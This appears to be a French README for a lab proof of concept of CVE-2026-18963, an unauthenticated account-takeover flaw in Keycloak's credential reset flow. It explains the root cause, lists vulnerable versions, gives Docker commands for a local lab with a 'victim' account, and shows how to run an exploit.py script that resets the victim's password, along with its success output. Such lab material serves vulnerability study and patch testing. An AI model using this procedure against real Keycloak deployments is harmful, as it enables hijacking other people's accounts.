
Preuve de concept d'exploit pour CVE-2026-18963, démontrant une prise de contrôle de compte non authentifiée en contournant le flux de réinitialisation des identifiants dans les applications web.
★ CVE-2026-18963 Keycloak PoC de contournement du flux de réinitialisation des identifiants ★
https://github.com/user-attachments/assets/ebed1e64-a40c-4333-be18-9acbadd655b0
CVE-2026-18963 est une prise de contrôle de compte non authentifiée critique dans le composant
keycloak-servicesde Keycloak (CVSS 9.1). Une faille dans la machine à états d'authentification de réinitialisation des identifiants permet à un attaquant distant de contourner l'étape de vérification par e-mail et d'atteindre le formulaire de mise à jour du mot de passe sans posséder le lien de réinitialisation. En ciblant un nom d'utilisateur connu, un attaquant peut définir un nouveau mot de passe et prendre le contrôle du compte de la victime sans authentification ni interaction de l'utilisateur.
Le flux vulnérable stocke l'état du sélecteur d'identifiants sous forme de note d'authentification à l'échelle de la session au lieu de le lier à l'exécution qui a affiché le sélecteur. Le fait de rentrer dans le flux de réinitialisation peut donc réutiliser un état de sélecteur obsolète pour une autre exécution. Dans les versions affectées, l'authentificateur de réinitialisation par e-mail accepte également une action sans confirmer qu'elle a été atteinte via un jeton d'action e-mail valide. L'enchaînement de ces comportements fait progresser directement l'attaquant vers UPDATE_PASSWORD.
| Catégorie | Version |
|---|---|
| Vulnérable | Keycloak 26.0.0 ≤ version < 26.4.15 |
| Vulnérable | Keycloak 26.5.0 ≤ version < 26.6.6 |
| Vulnérable | Keycloak 26.7.0 ≤ version < 26.7.2 |
| Corrigée | 26.4.15, 26.6.6, 26.7.2 (branches de publication respectives) |
Ce laboratoire utilise Keycloak 26.7.1.
Construisez et exécutez l'environnement Keycloak 26.7.1 vulnérable. L'image importe un realm de test avec le flux de réinitialisation des identifiants vulnérable activé, un compte victim préconfiguré et un portail EQST avec une page de flag protégée.
docker build -t cve-2026-18963 .
docker run --rm -d \
--name cve-2026-18963 \
-p 9105:9105 \
-e PORTAL_PUBLIC_URL=http://127.0.0.1:9105 \
cve-2026-18963
Attendez que Keycloak démarre, puis ouvrez le portail :
http://127.0.0.1:9105
| Prérequis | État dans ce laboratoire |
|---|---|
| Keycloak | 26.7.1 (vulnérable) |
| Realm | cve-lab |
| Mot de passe oublié | activé |
| Compte cible | victim |
| URL de base Keycloak | http://127.0.0.1:9105/keycloak |
Le script exploit.py inclus automatise la manipulation de l'état du flux de réinitialisation, demande le formulaire de mise à jour du mot de passe sans consommer de jeton d'action e-mail, modifie le mot de passe de la victime et vérifie la prise de contrôle en demandant un jeton d'accès avec les nouveaux identifiants.
Installez la dépendance Python :
python3 -m pip install requests
Exécutez l'exploit avec l'URL Keycloak, le nom d'utilisateur de la victime et un nouveau mot de passe :
# python3 exploit.py <keycloak-url> <victim> <new-password>
python3 exploit.py \
http://127.0.0.1:9105/keycloak \
victim \
'NewPassword1!'
Une exécution réussie affiche :
[*] selector note set via tryAnotherWay
[*] victim submitted: victim
[*] update-password form served without an action token
[+] VULNERABLE - victim password is now 'NewPassword1!'
Ouvrez http://127.0.0.1:9105, cliquez sur LOGIN, et authentifiez-vous en tant que victim avec le nouveau mot de passe pour confirmer la prise de contrôle du compte.